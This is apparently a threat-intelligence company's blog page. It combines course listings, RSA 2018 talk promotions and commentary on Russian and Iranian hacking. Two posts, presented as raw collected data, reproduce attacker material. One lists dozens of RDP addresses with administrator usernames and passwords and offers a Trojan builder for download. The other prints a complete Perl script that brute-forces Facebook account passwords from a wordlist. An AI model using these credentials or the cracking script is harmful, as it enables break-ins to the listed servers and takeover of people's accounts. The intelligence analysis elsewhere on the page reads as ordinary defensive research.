Cyber Intelligence Training New Registration opens for Northern Virginia

CYBER INTELLIGENCE TRAINING
Online Course Registration open now for April 28 Start Date

2018 Course Dates – Locations 

April 30 – May 3 Cyber Intelligence – Los Angeles California – Burbank
June 18-22 – Cyber Intelligence Tradecraft – London
Jul 31-Aug 3 Cyber Intelligence Tradecraft Las Vegas – PRE-BLACKHAT
Aug 13-17 Cyber Intelligence- Reston, VA
Sep 17-21 – Cyber Intelligence- Boston, MA
Oct 15-19 Cyber Counter Intelligence – Reston, VA
Nov 5-9 Cyber Intelligence- Denver, CO
Dec 3-7 Cyber Counter Intelligence – Columbia, Maryland

Recent student comments:

“I completed Treadstone 71’s Cyber Intelligence Tradecraft Certification Training in March 2018.  Although I had attended numerous cyber training courses in the past, I found this course to be the best cyber training course ever.  The instructor, Jeff Bardin, is a top-notch teacher who has the actual experience and credentials to effectively present the subject to students.  In addition to his deep experience, Jeff’s wonderful personality and his passion for cyber intelligence make him a second-to-none instructor.  The majority of the classes dealt with intelligence analysis, a subject other cyber intelligence courses fail to cover effectively. I give this course five out of five stars and I highly recommend it to government and private sector employees who want to learn cyber intelligence the right way.”

Featured post

Deception, Distortion, Dishonesty: The Real Story Behind the Hype – RSA Conference 2018 – San Francisco

Dr. Khatuna Mshvidobadze

In the summer of 2008, Russia attacked Georgia in the first-ever combined kinetic and cyberwar. Sure, the 1990-1991 Gulf War was dubbed the first information war—the use 226571794ecbc84a4232f3e9a42a7041-480x270of information in war is not new. What was new in 2008 was that Russia employed its cyber arm as an independent operational capability alongside its land, sea and air forces. The targets were critical infrastructure. The strategic objectives were to sap Georgia’s will to resist and to provide cover for Russia’s information campaign to deceive the west into believing that somehow little Georgia was the aggressor.

Operational security was paramount—Moscow had to keep everyone confounded about who was behind the cyber attacks. Just like the kinetic invasion, the cyber attacks were long and well-planned, but Russia did a great job covering its tracks. When the shooting stopped, well-meaning researchers investigated what had happened. However, coming from a profession that focuses on computer screens and a culture unaccustomed to the 2018-04-11_9-18-09kind of deception that is part of everyday Russian life, they foundered.

The attacks led us to Russia. We noted uncanny timing. Western experts were indeed confounded when the trail led to kids and criminals. I have been following that trail ever since. Insight into Russia, all-source intelligence and a keen understanding of denial and deception were needed.

Today, saying that the Russian state employs a network of cybercriminals to do its online dirty work is commonplace. One might just as well pretend not to know the identity of those little green men who seized Crimea. But when I started saying it in 2010, you would not believe the resistance I encountered.

Soon after, I met Jeff Bardin, my professor at Utica College, who became mentor and friend. Jeff brings an extraordinary expertise in all-source intelligence and the ways of denial and deception. At this year’s RSA Conference, it is my privilege to combine with him in a talk entitled Deception, Distortion, Dishonesty: The Real Story Behind the Hype.

Jeff will lead off, analyzing the types of D&D, its various dimensions and some tactics that can be employed online and offline. The planners, he will say, must have clear reasons for utilizing D&D based on their goals. They must define the strategic, operational and tactical goals of deception and the criteria for success.

I will point out that Russians do not see cyber warfare as distinct but regard it as just one tool of information war. Look at 2008. The cyber attacks aimed at hampering the Georgian government’s ability to communicate while Moscow’s propaganda machine painted Russia as the aggrieved party. “Information space opens wide asymmetrical possibilities for reducing the fighting potential of an enemy,” writes Valery Vasilyevich Gerasimov, Chief of the Russian General Staff. It’s a remarkable statement, but nothing new—Russian thinking on information warfare has been consistent since the 1980s.

Now, the Kremlin commands a vast network of online intelligence agencies, scientific organizations, academic institutions, criminals, and trolls. We’ll discuss how Russia deals with enemies, foreign and domestic, cyber players and organization, the growing role of the military, tactics, techniques, procedures and tools, vectors, false flags, troll factories and more. Come join us on Wednesday at the RSA Conference.

KM

Featured post

Coincidences Take A Lot of Planning – RSA Conference 2018 – San Francisco

The RSA Conference is soon upon us! The expectation to see old friends and make new rsa1800008-buckle-up_augacquaintances. The show will once again be great with new technologies displayed, new ideas bantered about, and phrases around AI used inappropriately and about 5-10 years too soon. The parties will crank at night and many will suffer the cocktail flu come the next morning. 40,000 strong is the estimated number for this event! Huge!

کنفرانس RSA 2018  rsa-конференция 2018  2018 RSA 회의  rsa 2018年会议  مؤتمر rsa 2018

But what of the undercurrent that occurs unmentioned every year? Just beneath the surface are a series of activities generated by scores of foreign agents looking to steal information, intellectual property, or gain an upper hand over someone of importance being caught doing illicit things. How many spies will blanket the city and the shop floor armed with various technologies used to extract information? Cyber and physical espionage activities run amuck at such events. This is common and expected. How will you know when your data is being pilfered? Will your hotel room be secure? Are your 2018-04-05_14-43-31mobile devices secure? What data have you given up already? Flight plans, hotel information, email addresses, phone numbers, social media data, car rental information, events you will attend, arrival and departure times, restaurant reservations, meeting information… Do you think your data is not in the wind already? Will a chance encounter lead to unexpected information sharing? Is the person next to you at the bar there just by coincidence?

All questions you should consider. All questions that are usually forgotten or ignored.

BEHIND ALL COINCIDENCES THERE IS A PLAN, AND BEHIND ALL PLANS THERE IS A COINCIDENCE – Malnar

I12149464887

Featured post

Confuser and Oilrig – Iranian Hacks

This is a bit disjointed at this time and is raw data. This is not intelligence, has not been analyzed but does tie directly to Oilrig.

A powerful program to pack your apps. With this program, you can pack programs in C # and VB.Net

Confuser – Confuser program zipped. For download and analysis

a1ir3z4-HK Frequently found on anonysec.org, c-cracking.org, formerly of the Kalli Hack Team (kallihack), http://haraji.8tag.ir

Others in the mix: XVII_Hacker, #XVII_Roman & #BlackErroR1 & #sorblack

BTC BRUTER v.3.0 By UNKNOWN-KILLER

Bitcoin Cracker Performance Test via Telegram: @ a1ir3z4HK @ a1ir3z4_HK_bot
Using temp emails here: http://www.emeil.ir/
Sprinkle the effort with a bit of Russian for flavoring

Cʏʙᴇʀ Cʀᴀᴄᴋɪɴɢ | سایبر کرکینگ

61.155.153.21:3389@SZCN2003X-5984\administrator;1qaz@WSX3edc
123.206.72.128:3389@10_221_112_104\administrator;1qaz@WSX3edc
123.207.139.51:3389@10_10_123_100\administrator;1qaz@WSX3edc
113.108.144.211:3389@ZK\administrator;1qaz@WSX
218.13.56.118:3389@HEGII\administrator;1qaz@WSX
218.17.182.99:3389@DTC-S01\administrator;1qaz@WSX
58.213.155.42:3389@SQL\administrator;1qaz@WSX
218.90.154.154:3389@DHT1FDC2\administrator;1qaz@WSX
218.94.38.222:3389@WIN-3EGCECLJQ5J\administrator;1qaz@WSX
180.107.198.6:3389@HAMBER\administrator;1qaz@WSX
117.89.141.232:3389@DELL-R710\administrator;1qaz@WSX
58.221.10.142:3389@WIN-QUO7ORFGR99\administrator;123qwe!@#
180.112.122.235:3389@HP-SERVER\administrator;123qwe!@#
219.136.229.194:3389@BMYWEB\administrator;1234qwer!@#$
121.9.14.146:3389@WIN-90NIL448CQ4\administrator;1qaz!QAZ
119.145.72.210:3389@WINDOWS-M89UCHU\administrator;1qaz!QAZ
218.93.123.171:3389@USER-A4G6BL8T0O\administrator;1qaz!QAZ
61.160.112.76:3389@NWERPDB\administrator;1qazXSW@
117.80.229.78:3389@KSBOMAN\administrator;1qazXSW@
119.29.157.222:3389@10_135_48_44\administrator;1qazXSW@
61.145.180.174:3389@TEDU-LH\administrator;!QAZ2wsx
113.108.146.83:3389@WIN-QIO2J4TRCMJ\administrator;!QAZ2wsxЧитать полностью…

61.155.153.21:3389@SZCN2003X-5984\administrator;1qaz@WSX3edc
123.206.72.128:3389@10_221_112_104\administrator;1qaz@WSX3edc
123.207.139.51:3389@10_10_123_100\administrator;1qaz@WSX3edc
113.108.144.211:3389@ZK\administrator;1qaz@WSX
218.13.56.118:3389@HEGII\administrator;1qaz@WSX
218.17.182.99:3389@DTC-S01\administrator;1qaz@WSX
58.213.155.42:3389@SQL\administrator;1qaz@WSX
218.90.154.154:3389@DHT1FDC2\administrator;1qaz@WSX
218.94.38.222:3389@WIN-3EGCECLJQ5J\administrator;1qaz@WSX
180.107.198.6:3389@HAMBER\administrator;1qaz@WSX
117.89.141.232:3389@DELL-R710\administrator;1qaz@WSX
58.221.10.142:3389@WIN-QUO7ORFGR99\administrator;123qwe!@#
180.112.122.235:3389@HP-SERVER\administrator;123qwe!@#
219.136.229.194:3389@BMYWEB\administrator;1234qwer!@#$
121.9.14.146:3389@WIN-90NIL448CQ4\administrator;1qaz!QAZ
119.145.72.210:3389@WINDOWS-M89UCHU\administrator;1qaz!QAZ
218.93.123.171:3389@USER-A4G6BL8T0O\administrator;1qaz!QAZ
61.160.112.76:3389@NWERPDB\administrator;1qazXSW@
117.80.229.78:3389@KSBOMAN\administrator;1qazXSW@
119.29.157.222:3389@10_135_48_44\administrator;1qazXSW@
61.145.180.174:3389@TEDU-LH\administrator;!QAZ2wsx
113.108.146.83:3389@WIN-QIO2J4TRCMJ\administrator;!QAZ2wsxЧитать полностью…

182.71.201.2:3389@TECHNOPAK\administrator;p@ssw0rd
150.242.254.98:3389@WINWORLD\administrator;Pass@word1
115.112.155.95:3389@APOLLOHOSPITALS\administrator;P@ssw0rd
221.135.143.132:3389@DMSSERVER\administrator;P@ssw0rd
220.225.210.91:3389@CTL\administrator;P@ssw0rd
45.64.195.147:3389@UNISRV\administrator;P@ssw0rd
125.22.73.198:3389@NAVGGL\administrator;P@ssw0rd
125.22.73.196:3389@NAVGGL\administrator;P@ssw0rd
59.144.162.8:3389@DELLSERVER\administrator;Admin@123
27.54.170.204:3389@DCPLHO\administrator;Admin@123
180.151.71.42:3389@FOURDTECH\administrator;Admin@123
202.47.116.201:3389@JAYAIR\administrator;Admin@123
118.185.53.18:3389@JBBROTHERS\administrator;Admin@123
27.251.117.6:3389@WIN-6T4QFMCPVE8\administrator;Admin123
103.230.152.172:3389@WIN-PMCSC1KVLPH\administrator;admin@123
219.65.58.58:3389@BIOTECH\administrator;admin@123
124.123.99.31:3389@WIN-RJTS2DUSFC1\administrator;admin@123
122.15.47.237:3389@ADMINISTRATOR\administrator;admin@123
125.63.94.107:3389@LAT039010002\administrator;admin@123
103.50.152.53:3389@BIOTECH\administrator;admin@123
117.252.2.69:3389@ADMINISTRATOR\administrator;admin@123
119.226.187.124:3389@WINDOWS-LJLRPML\administrator;admin@123
125.21.48.42:3389@WINDOWS-LJLRPML\administrator;admin@123
223.30.104.27:3389@WIN-ANRHQC2VF3Q\administrator;admin@123
125.20.83.199:3389@DSKE-1\administrator;admin@123
223.30.126.218:3389@CKHO\administrator;admin@123
59.90.244.200:3389@TEEPARAM-SERVER\administrator;Passw0rd1
14.102.15.38:3389@LAB01\administrator;password@123
124.124.70.194:3389@BRIGADEGROUP\administrator;password@123
220.227.9.77:3389@SCINDIASCHOOL\administrator;password@123
122.200.19.58:3389@ASHTE-RFID\administrator;P@ssw0rd@123
61.12.1.3:3389@WINDOWS-CYMSTZH\administrator;password@1234
182.74.185.140:3389@BIBAAPPARELS\administrator;abc@123
180.211.99.2:3389@GCPL\administrator;
112.196.8.202:3389@LIBRARYSERVER\administrator;
118.185.4.242:3389@SRI01\administrator;
Capture
Beast Trojan Builder – (change to .rar to unzip) Use at own risk.
57c4d9a0-63da-46d3-9e16-b720d27b0f6a
Featured post

Iranian Hacking – Saudi Sites – Bruteforcing facebook zhacker

Music is horrendous – be warned

 

 

and the script:

#!/usr/bin/perl
#

use strict;
use Net::SSLeay::Handle;

if(!defined($ARGV[0] && $ARGV[1])) {

system(‘clear’);
print ” Version 2.32 \n”;
print “\033[1;32md88888b .d8b. .o88b. d88888b d8888b. .d88b. db dD d88888b d8888b. \n”;
print “88′ d8′ `8b d8P Y8 88′ 88 `8D .8P Y8. 88 ,8P’ 88′ 88 `8D \n”;
print “88ooo 88ooo88 8P 88ooooo 88oooY’ 88 88 88,8P 88ooooo 88oobY’ \n”;
print “88~~~ 88~~~88 8b 88~~~~~ 88~~~b. 88 88 88`8b 88~~~~~ 88`8b \n”;
print “88 88 88 Y8b d8 88. 88 8D `8b d8′ 88 `88. 88. 88 `88. \n”;
print “YP YP YP `Y88P’ Y88888P Y8888P’ `Y88P’ YP YD Y88888P 88 YD \n”;

print “\033[1;31m ======================================================\n”;
print “\033[1;37m Usage: perl $0 Email wordlist.txt\n\n\n\n\n\n\n\n\n”;
print “\033[1;31m ======================================================\n”;
print “\n”;
print “\n”;
print “\n”;
print “\n”;
print “\n”;
print “\n”;
exit; }

my $user = $ARGV[0];
my $wordlist = $ARGV[1];

open (LIST, $wordlist) || die “\n[-] Can’t find/open $wordlist\n”;

 

print ” Version 2.32 \n”;
print “\033[1;32md88888b .d8b. .o88b. d88888b d8888b. .d88b. db dD d88888b d8888b. \n”;
print “88′ d8′ `8b d8P Y8 88′ 88 `8D .8P Y8. 88 ,8P’ 88′ 88 `8D \n”;
print “88ooo 88ooo88 8P 88ooooo 88oooY’ 88 88 88,8P 88ooooo 88oobY’ \n”;
print “88~~~ 88~~~88 8b 88~~~~~ 88~~~b. 88 88 88`8b 88~~~~~ 88`8b \n”;
print “88 88 88 Y8b d8 88. 88 8D `8b d8′ 88 `88. 88. 88 `88. \n”;
print “YP YP YP `Y88P’ Y88888P Y8888P’ `Y88P’ YP YD Y88888P 88 YD \n”;

print “\033[1;31m ======================================================\n”;
print “\033[1;33m made by [[Z hacker]] \n”;
print “\033[1;31m ========================================================\n”;

print “\033[1;39m\n [+] Cracking Started on: $user …\n\n”;
print “=======================================\n”;

while (my $password = <LIST>) {
chomp ($password);
$password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf “%%%0x”, ord $1 /eg;

my $a = “POST /login.php HTTP/1.1”;
my $b = “Host: http://www.facebook.com”;
my $c = “Connection: close”;
my $e = “Cache-Control: max-age=0”;
my $f = “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”;
my $g = “Origin: https://www.facebook.com&#8221;;
my $h = “User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31”;
my $i = “Content-Type: application/x-www-form-urlencoded”;
my $j = “Accept-Encoding: gzip,deflate,sdch”;
my $k = “Accept-Language: en-US,en;q=0.8”;
my $l = “Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3”;

my $cookie = “cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa”;
my $post = “lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In”;
my $cl = length($post);
my $d = “Content-Length: $cl”;

 

my ($host, $port) = (“www.facebook.com”, 443);

tie(*SSL, “Net::SSLeay::Handle”, $host, $port);

print SSL “$a\n”;
print SSL “$b\n”;
print SSL “$c\n”;
print SSL “$d\n”;
print SSL “$e\n”;
print SSL “$f\n”;
print SSL “$g\n”;
print SSL “$h\n”;
print SSL “$i\n”;
print SSL “$j\n”;
print SSL “$k\n”;
print SSL “$l\n”;
print SSL “$cookie\n\n”;

print SSL “$post\n”;

my $success;
while(my $result = <SSL>){
if($result =~ /Location(.*?)/){
$success = $1;
}
}
if (!defined $success)
{
print “\033[1;31m[-] $password -> Failed \n”;
close SSL;
}
else
{
print “\033[1;32m\n########################################################\n”;
print “[+] \033[1;32mPassword Cracked: $password\n”;
print “\033[1;32m########################################################\n\n”;
close SSL;
exit;
}
}

Rinlogger Teaching

 

Featured post

Treadstone 71 Selected to Deliver at the RSA Conference 2018 San Francisco

Foundations for a Strong Intelligence Program
April 18, 9AM-11AM RSA Conference
This Lab will explore key aspects of building a strong and long-lasting cyberthreat intelligence program. We’ll review methods of threat intelligence platform selection and bake-off techniques as well as cover stakeholder analysis and priority intelligence requirements. Additionally, we’ll practice collection planning and mission management as well as how to establish effective reporting and dissemination capabilities.

rsa2018
Cyber CounterIntelligence – Deception, Distortion, Dishonesty
April 18, 1:45PM-2:30PM RSA Conference
Deception, distortion, dishonesty are core to social media postings. Our adversaries use these methods concocting stories that create illusions that are meant to leave us divided. The talk will cover methods of countering their messaging while applying these tactics to protect your own organization and brand. Moving from intelligence to counterintelligence is the natural next step in our evolution.

Featured post

Plague of the Cyber RATS

How a toxic computer code delivered by ‘Remote Access Trojans’ is an invisible army able to take over a petrochemical plant and blow it to pieces

Ironically, said Bardin, it was Stuxnet that led Iran to enhance its offensive capability: ‘If Stuxnet had happened to the US or UK, it would have been seen as an act of war. In Iran, it made them invest heavily in offensive cyber operations.’

He revealed that 18 per cent of Iranian university students are studying computer science – a cyber warfare talent pool.

http://www.dailymail.co.uk/news/article-5404055/How-hackers-using-RAT-malware-seized-petrochemical-site.html

No guns. No bombs. No conventional weapons of any kind. An invisible army able take over a petrochemical plant like this and blow it to pieces. That’s the power of a toxic computer code delivered by RATs – ‘Remote Access Trojans’ – that’s making UK security experts VERY nervous indeed

‘Fixing this takes political will, and business is always pushing back, because good cyber security adds costs,’ said Bardin. ‘Ultimately, something is going to blow up.’

Featured post

Dragonfly 2.0? Delta Elektroniks and Pre-embedded Malware

Delta Elektroniks highly likely supported by the Russian government and a direct threat to energy sector supply chain operations

Treadstone 71 asserts with high confidence that Delta Elektroniks (DE) is likely a front company directly associated with Energetic Bear (Dragonfly). The equipment purchased from DE is vulnerable to supply chain threats due to malware embedded in the Taiwanese Delta Electronics (T-DE) programmable logic controller (PLC) software. T-DE is not aware of the infections allowing customers to download and install infected PLC software for the initial purposes of cyber espionage. Long-term intentions include possible physical sabotage operations and the potential to manipulate markets through false accidents (real but not due to human error or technology failure) to artificially drive up stocks (or down). Speculation of oil prices targeted to drive revenue when the price per barrel is too low to sustain economic plans. The PLCs appear to be genuine production parts with malware introduced post-production. Verification of Oleg Vladimirovich Strekozov’s identity is incomplete; the name is likely fictitious and probably state-sponsored. Evidence that suggests this outcome:

+++++++++++++++++++++++UPDATE+++++++++++++++++++ 1/4/2018+++++++++

https://ics-cert.us-cert.gov/advisories/ICSA-16-348-03

https://ics-cert.us-cert.gov/advisories/ICSA-18-004-01

Purely a Treadstone 71 effort

+++++++++++++++++++++1/4/2018++++++++++++++++++++++++++++++++++++++

Malware Targets SCADA Devices

  • TTPs are like Dragonfly (Strekozov as defined) or Energetic Bear (B2)
  • Targeting SCADA devices is consistent with espionage practices (B2)
    • Provides hackers a foothold into US critical infrastructure via trusted downloads – Delta Website in Taiwan (as one of many)
  • A copycat website in Russia is suspicious and consistent with masquerade techniques (C3)
  • A legitimate Russian business would not conduct themselves in such a way (C2)
  • Multiple other sites deliver the same software (C3) …

NOTE: It is possible that the T-DE PLC software is poorly written and vulnerable by default. Scans from the T-DE website indicate website vulnerabilities including SQL injection weaknesses.

The full report: Treadstone 71Intelligence Games in the Power Grid PDF

The associated PPTX: Treadstone 71 Intelligence Games in the Power Grid

Our defenses are built for outside in. This is already in. Anti-virus scanners do not detect any of this only sandbox analysis. ‘Trusted’ software is being downloaded from multiple different sites in multiple different languages covering multiple different industries. Data centers, buildings, power plants, hospitals, public safety, dams, nuclear facilities, financial services data centers, oil pipelines, military facilities, hotels, industrial automation, building automation, energy and ICT infrastructure, embedded power, automotive electronics (ships/boats), embedded power, various components thereof, merchant and mobile power, telecom energy, and renewable energy non-inclusively.

Recent reports from Symantec (outside in):

http://www.eweek.com/security/dragonfly-2.0-hackers-targeting-the-energy-sector-symantec-finds

https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group

https://www.reuters.com/article/us-usa-cyber-energy/u-s-warns-public-about-attacks-on-energy-industrial-firms-idUSKBN1CQ0IN RELEASED OCTOBER 20/21

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